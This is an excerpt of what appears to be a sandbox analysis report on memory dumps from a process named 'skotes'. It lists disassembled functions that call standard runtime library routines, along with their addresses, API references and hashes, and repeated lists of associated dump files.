Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: be0a2f5b50a617ab1285d5f66065733f3db9ae15b7affd625c3aaac77b70c78f
Instruction ID: 6ae4208d044e5beb3939179582fd945faf8dceb08d4f10458970b24ab8d5e218
Opcode Fuzzy Hash: be0a2f5b50a617ab1285d5f66065733f3db9ae15b7affd625c3aaac77b70c78f
Instruction Fuzzy Hash: C2212C34A14209AFCF14EFA9C595AADBBF5EF19350F5440F9E905A7361CB30AE01CB94

Function 00B978E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00B97903

Part of subcall function 00B95CB8: __EH_prolog3_catch.LIBCMT ref: 00B95CBF
Part of subcall function 00B95CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00B95CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00B9792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00B97936

Part of subcall function 00B95CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00B95D70
Part of subcall function 00B95CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00B95D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00B97982
Concurrency::location::_Assign.LIBCMT ref: 00B979A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00B979AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00B979BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00B979ED

Part of subcall function 00B9691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00B96942
Part of subcall function 00B9691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00B96965

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: e33e680bf96d74a3eacda748967c00a7a38c83805b2c11244ba133516f164304
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 0831E130B98255AACF16AA7848927FEBBF5DF41300F1401F9D486E7242DE244D4AC7D1

Function 00BA4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00BA4877
___except_validate_context_record.LIBVCRUNTIME ref: 00BA487F
_ValidateLocalCookies.LIBCMT ref: 00BA4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00BA4933
_ValidateLocalCookies.LIBCMT ref: 00BA4988

Strings

csm, xrefs: 00BA491D

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 65931cac25cefe2ac404cf0df515fa475e2bd43abc4ffabf0424a4dfefd6fd71
Instruction ID: 1a10da2446aa8a4072c813e91ff1ef4b9a452293217db3bfb1a7cb484053b93e
Opcode Fuzzy Hash: 65931cac25cefe2ac404cf0df515fa475e2bd43abc4ffabf0424a4dfefd6fd71
Instruction Fuzzy Hash: 3641E534A04248AFCF10DF68D884A9FBBF4EF86314F1481D5E8189B3A2D7B5DA15CB91

Function 00B9DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 00B9DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 00B9DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 00B9DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 00B9DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 00B9DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 00B9DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 00B9DE74

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 75956cdfc2b92d7d9b4ee5e30f812ce329004dd13273a072e6d4953f6ff76ee5
Instruction ID: 38ce99477773babdc67ad529cd2cb80b1ac9c396e6934381fd7e6488e38e955d
Opcode Fuzzy Hash: 75956cdfc2b92d7d9b4ee5e30f812ce329004dd13273a072e6d4953f6ff76ee5
Instruction Fuzzy Hash: BE41A830A046449ADF19FFB58496BAC7BE1AF11304F1840F9E8516B2D3CB388E08CB62

Function 00B9E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00B9E7D7

Part of subcall function 00B9E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00B9E577
Part of subcall function 00B9E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00B9E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00B9E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00B9E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00B9E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00B9E879
Concurrency::location::_Assign.LIBCMT ref: 00B9E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00B9E8B5

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 93b53eb93cc95662364c19483deff1793b59d16b9f71ce74dd031a61305a1682
Instruction ID: e4348065f1b3b8d88eb13ab51f7fc85fefd2f172696ce4583d95a47fe6a3990c
Opcode Fuzzy Hash: 93b53eb93cc95662364c19483deff1793b59d16b9f71ce74dd031a61305a1682
Instruction Fuzzy Hash: C2410575A00204EFCF05EFA4C495AADB7F5FF48310F1880B9ED599B282DB30A941CBA1

